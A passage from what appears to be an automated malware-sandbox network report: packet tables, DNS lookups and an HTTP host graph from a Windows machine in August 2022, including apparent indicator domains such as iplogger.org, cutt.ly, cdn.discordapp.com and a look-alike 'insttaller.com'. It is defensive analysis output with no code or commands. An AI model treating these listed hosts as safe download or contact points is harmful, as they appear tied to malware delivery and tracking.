Aug 23, 2022 03:43:20.423219919 CEST	64773	443	192.168.2.4	142.250.180.170
Aug 23, 2022 03:43:20.423284054 CEST	64773	443	192.168.2.4	142.250.180.170
Aug 23, 2022 03:43:20.423573971 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.423599958 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.423615932 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.423634052 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.423651934 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.423670053 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.423738956 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.423755884 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.423759937 CEST	64773	443	192.168.2.4	142.250.180.170
Aug 23, 2022 03:43:20.423774004 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.423794985 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.423810959 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.423826933 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.424032927 CEST	64773	443	192.168.2.4	142.250.180.170
Aug 23, 2022 03:43:20.424088001 CEST	64773	443	192.168.2.4	142.250.180.170
Aug 23, 2022 03:43:20.424375057 CEST	64773	443	192.168.2.4	142.250.180.170
Aug 23, 2022 03:43:20.424583912 CEST	64773	443	192.168.2.4	142.250.180.170
Aug 23, 2022 03:43:20.429944038 CEST	64773	443	192.168.2.4	142.250.180.170
Aug 23, 2022 03:43:20.434495926 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.434540033 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.434568882 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.434593916 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.434617996 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.434645891 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.434675932 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.434829950 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.434863091 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.435493946 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.435528040 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.436855078 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.436889887 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.436918974 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.436949015 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.436979055 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.437010050 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.437289953 CEST	64773	443	192.168.2.4	142.250.180.170
Aug 23, 2022 03:43:20.438386917 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.438421011 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.438452959 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.438482046 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.438508987 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.438561916 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.438591003 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.438678980 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.438740969 CEST	64773	443	192.168.2.4	142.250.180.170
Aug 23, 2022 03:43:20.440239906 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.440323114 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.441778898 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.441812992 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.441832066 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.441850901 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.442011118 CEST	64773	443	192.168.2.4	142.250.180.170
Aug 23, 2022 03:43:20.443413973 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.443439960 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.443464994 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.443490028 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.443510056 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.443527937 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.443545103 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.443638086 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.444140911 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.444159985 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.444329977 CEST	64773	443	192.168.2.4	142.250.180.170
Aug 23, 2022 03:43:20.444374084 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.444417953 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.445167065 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.445188046 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.445204020 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.445221901 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.446512938 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.446564913 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.446589947 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.446609020 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.446634054 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.446664095 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.446691990 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.446717978 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.446739912 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.446760893 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.446868896 CEST	64773	443	192.168.2.4	142.250.180.170
Aug 23, 2022 03:43:20.447952032 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.447973967 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.448165894 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.448349953 CEST	64773	443	192.168.2.4	142.250.180.170
Aug 23, 2022 03:43:20.448540926 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.448797941 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.450853109 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.450887918 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.450936079 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.450959921 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.450984955 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.451008081 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.451033115 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.451056004 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.451077938 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.451100111 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.451122999 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.451147079 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.451172113 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.451193094 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.451211929 CEST	64773	443	192.168.2.4	142.250.180.170
Aug 23, 2022 03:43:20.451217890 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.451244116 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.451267958 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.451291084 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.451313972 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.451338053 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.451391935 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.451416969 CEST	64773	443	192.168.2.4	142.250.180.170
Aug 23, 2022 03:43:20.451420069 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.451445103 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.451474905 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.451508999 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.452312946 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.452352047 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.452383041 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.452418089 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.452450037 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.452481031 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.452512980 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.452543974 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.452575922 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.452608109 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.452723026 CEST	64773	443	192.168.2.4	142.250.180.170
Aug 23, 2022 03:43:20.453481913 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.453557014 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.453588009 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.453694105 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.453746080 CEST	64773	443	192.168.2.4	142.250.180.170
Aug 23, 2022 03:43:20.458029032 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.458072901 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.458105087 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.458138943 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.460817099 CEST	64773	443	192.168.2.4	142.250.180.170
Aug 23, 2022 03:43:28.362649918 CEST	64773	443	192.168.2.4	142.250.180.170
Aug 23, 2022 03:43:28.383646965 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:28.390903950 CEST	64773	443	192.168.2.4	142.250.180.170
Aug 23, 2022 03:43:28.411793947 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:28.411829948 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:28.411859035 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:28.411885023 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:28.411912918 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:28.411942005 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:28.411971092 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:28.411998987 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:28.412020922 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:28.413012981 CEST	64773	443	192.168.2.4	142.250.180.170
Aug 23, 2022 03:43:28.419799089 CEST	64773	443	192.168.2.4	142.250.180.170
Aug 23, 2022 03:43:28.458960056 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:33.716171980 CEST	54044	443	192.168.2.4	8.8.8.8
Aug 23, 2022 03:43:33.736422062 CEST	443	54044	8.8.8.8	192.168.2.4
Aug 23, 2022 03:43:33.739171982 CEST	54044	443	192.168.2.4	8.8.8.8
Aug 23, 2022 03:43:33.741789103 CEST	443	54044	8.8.8.8	192.168.2.4
Aug 23, 2022 03:43:33.741837978 CEST	443	54044	8.8.8.8	192.168.2.4
Aug 23, 2022 03:43:33.742156029 CEST	54044	443	192.168.2.4	8.8.8.8
Aug 23, 2022 03:43:33.755837917 CEST	443	54044	8.8.8.8	192.168.2.4
Aug 23, 2022 03:43:33.755872011 CEST	443	54044	8.8.8.8	192.168.2.4
Aug 23, 2022 03:43:33.787046909 CEST	54044	443	192.168.2.4	8.8.8.8
Aug 23, 2022 03:43:33.787183046 CEST	54044	443	192.168.2.4	8.8.8.8
Aug 23, 2022 03:43:33.799410105 CEST	443	54044	8.8.8.8	192.168.2.4
Aug 23, 2022 03:43:33.799802065 CEST	54044	443	192.168.2.4	8.8.8.8
Aug 23, 2022 03:43:33.804665089 CEST	443	54044	8.8.8.8	192.168.2.4
Aug 23, 2022 03:43:33.804811954 CEST	54044	443	192.168.2.4	8.8.8.8
Aug 23, 2022 03:43:33.804963112 CEST	54044	443	192.168.2.4	8.8.8.8
Aug 23, 2022 03:43:33.808314085 CEST	54044	443	192.168.2.4	8.8.8.8
Aug 23, 2022 03:43:33.823023081 CEST	443	54044	8.8.8.8	192.168.2.4
Aug 23, 2022 03:43:33.823062897 CEST	443	54044	8.8.8.8	192.168.2.4
Aug 23, 2022 03:43:33.823386908 CEST	54044	443	192.168.2.4	8.8.8.8
Aug 23, 2022 03:43:33.823509932 CEST	54044	443	192.168.2.4	8.8.8.8
Aug 23, 2022 03:43:33.847095966 CEST	443	54044	8.8.8.8	192.168.2.4
Aug 23, 2022 03:43:34.402436972 CEST	50622	443	192.168.2.4	8.8.8.8
Aug 23, 2022 03:43:34.419171095 CEST	443	50622	8.8.8.8	192.168.2.4
Aug 23, 2022 03:43:34.428704977 CEST	443	50622	8.8.8.8	192.168.2.4
Aug 23, 2022 03:43:34.428756952 CEST	443	50622	8.8.8.8	192.168.2.4
Aug 23, 2022 03:43:34.429181099 CEST	50622	443	192.168.2.4	8.8.8.8
Aug 23, 2022 03:43:34.430497885 CEST	50622	443	192.168.2.4	8.8.8.8
Aug 23, 2022 03:43:34.430604935 CEST	50622	443	192.168.2.4	8.8.8.8
Aug 23, 2022 03:43:34.447063923 CEST	443	50622	8.8.8.8	192.168.2.4
Aug 23, 2022 03:43:34.447210073 CEST	443	50622	8.8.8.8	192.168.2.4
Aug 23, 2022 03:43:34.448435068 CEST	443	50622	8.8.8.8	192.168.2.4
Aug 23, 2022 03:43:34.448476076 CEST	443	50622	8.8.8.8	192.168.2.4
Aug 23, 2022 03:43:34.448749065 CEST	443	50622	8.8.8.8	192.168.2.4
Aug 23, 2022 03:43:34.448788881 CEST	443	50622	8.8.8.8	192.168.2.4
Aug 23, 2022 03:43:34.449426889 CEST	50622	443	192.168.2.4	8.8.8.8
Aug 23, 2022 03:43:34.449498892 CEST	50622	443	192.168.2.4	8.8.8.8
Aug 23, 2022 03:43:34.449623108 CEST	50622	443	192.168.2.4	8.8.8.8
Aug 23, 2022 03:43:34.450700045 CEST	52259	443	192.168.2.4	142.251.209.4
Aug 23, 2022 03:43:34.465993881 CEST	443	50622	8.8.8.8	192.168.2.4
Aug 23, 2022 03:43:34.472429991 CEST	443	52259	142.251.209.4	192.168.2.4
Aug 23, 2022 03:43:34.474283934 CEST	52259	443	192.168.2.4	142.251.209.4
Aug 23, 2022 03:43:34.476202965 CEST	50622	443	192.168.2.4	8.8.8.8
Aug 23, 2022 03:43:34.488025904 CEST	443	52259	142.251.209.4	192.168.2.4
Aug 23, 2022 03:43:34.488087893 CEST	443	52259	142.251.209.4	192.168.2.4
Aug 23, 2022 03:43:34.488420963 CEST	52259	443	192.168.2.4	142.251.209.4
Aug 23, 2022 03:43:34.495409966 CEST	443	52259	142.251.209.4	192.168.2.4
Aug 23, 2022 03:43:34.495471954 CEST	443	52259	142.251.209.4	192.168.2.4
Aug 23, 2022 03:43:34.496272087 CEST	52259	443	192.168.2.4	142.251.209.4
Aug 23, 2022 03:43:34.517111063 CEST	52259	443	192.168.2.4	142.251.209.4
Aug 23, 2022 03:43:34.518227100 CEST	52259	443	192.168.2.4	142.251.209.4
Aug 23, 2022 03:43:34.518261909 CEST	52259	443	192.168.2.4	142.251.209.4
Aug 23, 2022 03:43:34.531080961 CEST	52259	443	192.168.2.4	142.251.209.4
Aug 23, 2022 03:43:34.538474083 CEST	443	52259	142.251.209.4	192.168.2.4
Aug 23, 2022 03:43:34.539571047 CEST	443	52259	142.251.209.4	192.168.2.4
Aug 23, 2022 03:43:34.539611101 CEST	443	52259	142.251.209.4	192.168.2.4
Aug 23, 2022 03:43:34.540208101 CEST	52259	443	192.168.2.4	142.251.209.4
Aug 23, 2022 03:43:34.540254116 CEST	52259	443	192.168.2.4	142.251.209.4
Aug 23, 2022 03:43:34.564959049 CEST	443	52259	142.251.209.4	192.168.2.4
Aug 23, 2022 03:43:49.266016006 CEST	53887	53	192.168.2.4	8.8.8.8
Aug 23, 2022 03:43:49.286884069 CEST	53	53887	8.8.8.8	192.168.2.4
Aug 23, 2022 03:43:52.291723967 CEST	56218	53	192.168.2.4	8.8.8.8
Aug 23, 2022 03:43:52.310682058 CEST	53	56218	8.8.8.8	192.168.2.4
Aug 23, 2022 03:44:34.461613894 CEST	53963	443	192.168.2.4	142.251.209.4
Aug 23, 2022 03:44:34.461957932 CEST	53963	443	192.168.2.4	142.251.209.4
Aug 23, 2022 03:44:34.499039888 CEST	443	53963	142.251.209.4	192.168.2.4
Aug 23, 2022 03:44:34.499090910 CEST	443	53963	142.251.209.4	192.168.2.4
Aug 23, 2022 03:44:34.499119997 CEST	443	53963	142.251.209.4	192.168.2.4
Aug 23, 2022 03:44:34.499680996 CEST	53963	443	192.168.2.4	142.251.209.4
Aug 23, 2022 03:44:34.499783993 CEST	53963	443	192.168.2.4	142.251.209.4
Aug 23, 2022 03:44:34.507977009 CEST	443	53963	142.251.209.4	192.168.2.4
Aug 23, 2022 03:44:34.520277977 CEST	443	53963	142.251.209.4	192.168.2.4
Aug 23, 2022 03:44:34.524899960 CEST	53963	443	192.168.2.4	142.251.209.4
Aug 23, 2022 03:45:33.986416101 CEST	49600	53	192.168.2.4	8.8.8.8
Aug 23, 2022 03:45:34.291315079 CEST	53	49600	8.8.8.8	192.168.2.4
Aug 23, 2022 03:46:20.870325089 CEST	57601	53	192.168.2.4	8.8.8.8
Aug 23, 2022 03:46:20.889245987 CEST	53	57601	8.8.8.8	192.168.2.4
Aug 23, 2022 03:46:35.422513008 CEST	59926	53	192.168.2.4	8.8.8.8
Aug 23, 2022 03:46:35.439502954 CEST	53	59926	8.8.8.8	192.168.2.4
Aug 23, 2022 03:46:35.520979881 CEST	59182	443	192.168.2.4	142.251.209.35
Aug 23, 2022 03:46:35.541867971 CEST	443	59182	142.251.209.35	192.168.2.4
Aug 23, 2022 03:46:35.544070959 CEST	59182	443	192.168.2.4	142.251.209.35
Aug 23, 2022 03:46:35.557518005 CEST	443	59182	142.251.209.35	192.168.2.4
Aug 23, 2022 03:46:35.557573080 CEST	443	59182	142.251.209.35	192.168.2.4
Aug 23, 2022 03:46:35.558056116 CEST	59182	443	192.168.2.4	142.251.209.35
Aug 23, 2022 03:46:35.564526081 CEST	443	59182	142.251.209.35	192.168.2.4
Aug 23, 2022 03:46:35.564564943 CEST	443	59182	142.251.209.35	192.168.2.4
Aug 23, 2022 03:46:35.565330029 CEST	59182	443	192.168.2.4	142.251.209.35
Aug 23, 2022 03:46:35.576623917 CEST	59182	443	192.168.2.4	142.251.209.35
Aug 23, 2022 03:46:35.576739073 CEST	59182	443	192.168.2.4	142.251.209.35
Aug 23, 2022 03:46:35.577150106 CEST	59182	443	192.168.2.4	142.251.209.35
Aug 23, 2022 03:46:35.577173948 CEST	59182	443	192.168.2.4	142.251.209.35
Aug 23, 2022 03:46:35.597261906 CEST	443	59182	142.251.209.35	192.168.2.4
Aug 23, 2022 03:46:35.597415924 CEST	443	59182	142.251.209.35	192.168.2.4
Aug 23, 2022 03:46:35.597722054 CEST	59182	443	192.168.2.4	142.251.209.35
Aug 23, 2022 03:46:35.598174095 CEST	443	59182	142.251.209.35	192.168.2.4
Aug 23, 2022 03:46:35.616242886 CEST	443	59182	142.251.209.35	192.168.2.4
Aug 23, 2022 03:46:35.616372108 CEST	443	59182	142.251.209.35	192.168.2.4
Aug 23, 2022 03:46:35.616444111 CEST	443	59182	142.251.209.35	192.168.2.4
Aug 23, 2022 03:46:35.616774082 CEST	59182	443	192.168.2.4	142.251.209.35
Aug 23, 2022 03:46:35.616810083 CEST	59182	443	192.168.2.4	142.251.209.35
Aug 23, 2022 03:46:35.662432909 CEST	443	59182	142.251.209.35	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Aug 23, 2022 03:42:33.975733042 CEST	192.168.2.4	8.8.8.8	0xf90b	Standard query (0)	dns.google	A (IP address)	IN (0x0001)
Aug 23, 2022 03:42:33.984795094 CEST	192.168.2.4	8.8.8.8	0x93a2	Standard query (0)	iplogger.org	A (IP address)	IN (0x0001)
Aug 23, 2022 03:42:33.985949993 CEST	192.168.2.4	8.8.8.8	0xdbf8	Standard query (0)	clients2.google.com	A (IP address)	IN (0x0001)
Aug 23, 2022 03:42:33.986988068 CEST	192.168.2.4	8.8.8.8	0x6f0a	Standard query (0)	accounts.google.com	A (IP address)	IN (0x0001)
Aug 23, 2022 03:42:34.162568092 CEST	192.168.2.4	8.8.8.8	0xe846	Standard query (0)	iplogger.org	A (IP address)	IN (0x0001)
Aug 23, 2022 03:42:34.470513105 CEST	192.168.2.4	8.8.8.8	0xa3d5	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)
Aug 23, 2022 03:42:34.937915087 CEST	192.168.2.4	8.8.8.8	0xb285	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)
Aug 23, 2022 03:42:36.703197002 CEST	192.168.2.4	8.8.8.8	0x2dbc	Standard query (0)	iplogger.org	A (IP address)	IN (0x0001)
Aug 23, 2022 03:42:54.052952051 CEST	192.168.2.4	8.8.8.8	0xb6c5	Standard query (0)	t.me	A (IP address)	IN (0x0001)
Aug 23, 2022 03:43:49.266016006 CEST	192.168.2.4	8.8.8.8	0x1311	Standard query (0)	cutt.ly	A (IP address)	IN (0x0001)
Aug 23, 2022 03:43:52.291723967 CEST	192.168.2.4	8.8.8.8	0xde62	Standard query (0)	cdn.discordapp.com	A (IP address)	IN (0x0001)
Aug 23, 2022 03:45:33.986416101 CEST	192.168.2.4	8.8.8.8	0xe201	Standard query (0)	insttaller.com	A (IP address)	IN (0x0001)
Aug 23, 2022 03:46:20.870325089 CEST	192.168.2.4	8.8.8.8	0x90b8	Standard query (0)	dns.google	A (IP address)	IN (0x0001)
Aug 23, 2022 03:46:35.422513008 CEST	192.168.2.4	8.8.8.8	0x1f2b	Standard query (0)	dns.google	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Aug 23, 2022 03:42:33.992367029 CEST	8.8.8.8	192.168.2.4	0xf90b	No error (0)	dns.google		8.8.8.8	A (IP address)	IN (0x0001)
Aug 23, 2022 03:42:33.992367029 CEST	8.8.8.8	192.168.2.4	0xf90b	No error (0)	dns.google		8.8.4.4	A (IP address)	IN (0x0001)
Aug 23, 2022 03:42:34.004235029 CEST	8.8.8.8	192.168.2.4	0x93a2	No error (0)	iplogger.org		148.251.234.83	A (IP address)	IN (0x0001)
Aug 23, 2022 03:42:34.011050940 CEST	8.8.8.8	192.168.2.4	0xdbf8	No error (0)	clients2.google.com	clients.l.google.com		CNAME (Canonical name)	IN (0x0001)
Aug 23, 2022 03:42:34.011050940 CEST	8.8.8.8	192.168.2.4	0xdbf8	No error (0)	clients.l.google.com		142.251.209.46	A (IP address)	IN (0x0001)
Aug 23, 2022 03:42:34.013896942 CEST	8.8.8.8	192.168.2.4	0x6f0a	No error (0)	accounts.google.com		142.250.180.141	A (IP address)	IN (0x0001)
Aug 23, 2022 03:42:34.179780960 CEST	8.8.8.8	192.168.2.4	0xe846	No error (0)	iplogger.org		148.251.234.83	A (IP address)	IN (0x0001)
Aug 23, 2022 03:42:34.489480019 CEST	8.8.8.8	192.168.2.4	0xa3d5	No error (0)	www.google.com		142.251.209.4	A (IP address)	IN (0x0001)
Aug 23, 2022 03:42:34.965275049 CEST	8.8.8.8	192.168.2.4	0xb285	No error (0)	www.google.com		142.251.209.4	A (IP address)	IN (0x0001)
Aug 23, 2022 03:42:36.722064018 CEST	8.8.8.8	192.168.2.4	0x2dbc	No error (0)	iplogger.org		148.251.234.83	A (IP address)	IN (0x0001)
Aug 23, 2022 03:42:54.074980974 CEST	8.8.8.8	192.168.2.4	0xb6c5	No error (0)	t.me		149.154.167.99	A (IP address)	IN (0x0001)
Aug 23, 2022 03:43:49.286884069 CEST	8.8.8.8	192.168.2.4	0x1311	No error (0)	cutt.ly		104.22.1.232	A (IP address)	IN (0x0001)
Aug 23, 2022 03:43:49.286884069 CEST	8.8.8.8	192.168.2.4	0x1311	No error (0)	cutt.ly		172.67.8.238	A (IP address)	IN (0x0001)
Aug 23, 2022 03:43:49.286884069 CEST	8.8.8.8	192.168.2.4	0x1311	No error (0)	cutt.ly		104.22.0.232	A (IP address)	IN (0x0001)
Aug 23, 2022 03:43:52.310682058 CEST	8.8.8.8	192.168.2.4	0xde62	No error (0)	cdn.discordapp.com		162.159.129.233	A (IP address)	IN (0x0001)
Aug 23, 2022 03:43:52.310682058 CEST	8.8.8.8	192.168.2.4	0xde62	No error (0)	cdn.discordapp.com		162.159.135.233	A (IP address)	IN (0x0001)
Aug 23, 2022 03:43:52.310682058 CEST	8.8.8.8	192.168.2.4	0xde62	No error (0)	cdn.discordapp.com		162.159.133.233	A (IP address)	IN (0x0001)
Aug 23, 2022 03:43:52.310682058 CEST	8.8.8.8	192.168.2.4	0xde62	No error (0)	cdn.discordapp.com		162.159.130.233	A (IP address)	IN (0x0001)
Aug 23, 2022 03:43:52.310682058 CEST	8.8.8.8	192.168.2.4	0xde62	No error (0)	cdn.discordapp.com		162.159.134.233	A (IP address)	IN (0x0001)
Aug 23, 2022 03:45:34.291315079 CEST	8.8.8.8	192.168.2.4	0xe201	No error (0)	insttaller.com		185.191.229.101	A (IP address)	IN (0x0001)
Aug 23, 2022 03:46:20.889245987 CEST	8.8.8.8	192.168.2.4	0x90b8	No error (0)	dns.google		8.8.4.4	A (IP address)	IN (0x0001)
Aug 23, 2022 03:46:20.889245987 CEST	8.8.8.8	192.168.2.4	0x90b8	No error (0)	dns.google		8.8.8.8	A (IP address)	IN (0x0001)
Aug 23, 2022 03:46:35.439502954 CEST	8.8.8.8	192.168.2.4	0x1f2b	No error (0)	dns.google		8.8.4.4	A (IP address)	IN (0x0001)
Aug 23, 2022 03:46:35.439502954 CEST	8.8.8.8	192.168.2.4	0x1f2b	No error (0)	dns.google		8.8.8.8	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

accounts.google.com

clients2.google.com

iplogger.org

https:

t.me

optimizationguide-pa.googleapis.com

update.googleapis.com

cutt.ly

cdn.discordapp.com

45.95.11.158

135.181.104.248

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.4	49712	142.250.180.141	443	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.4	49707	142.251.209.46	443	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
10	192.168.2.4	49747	148.251.234.83	443	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
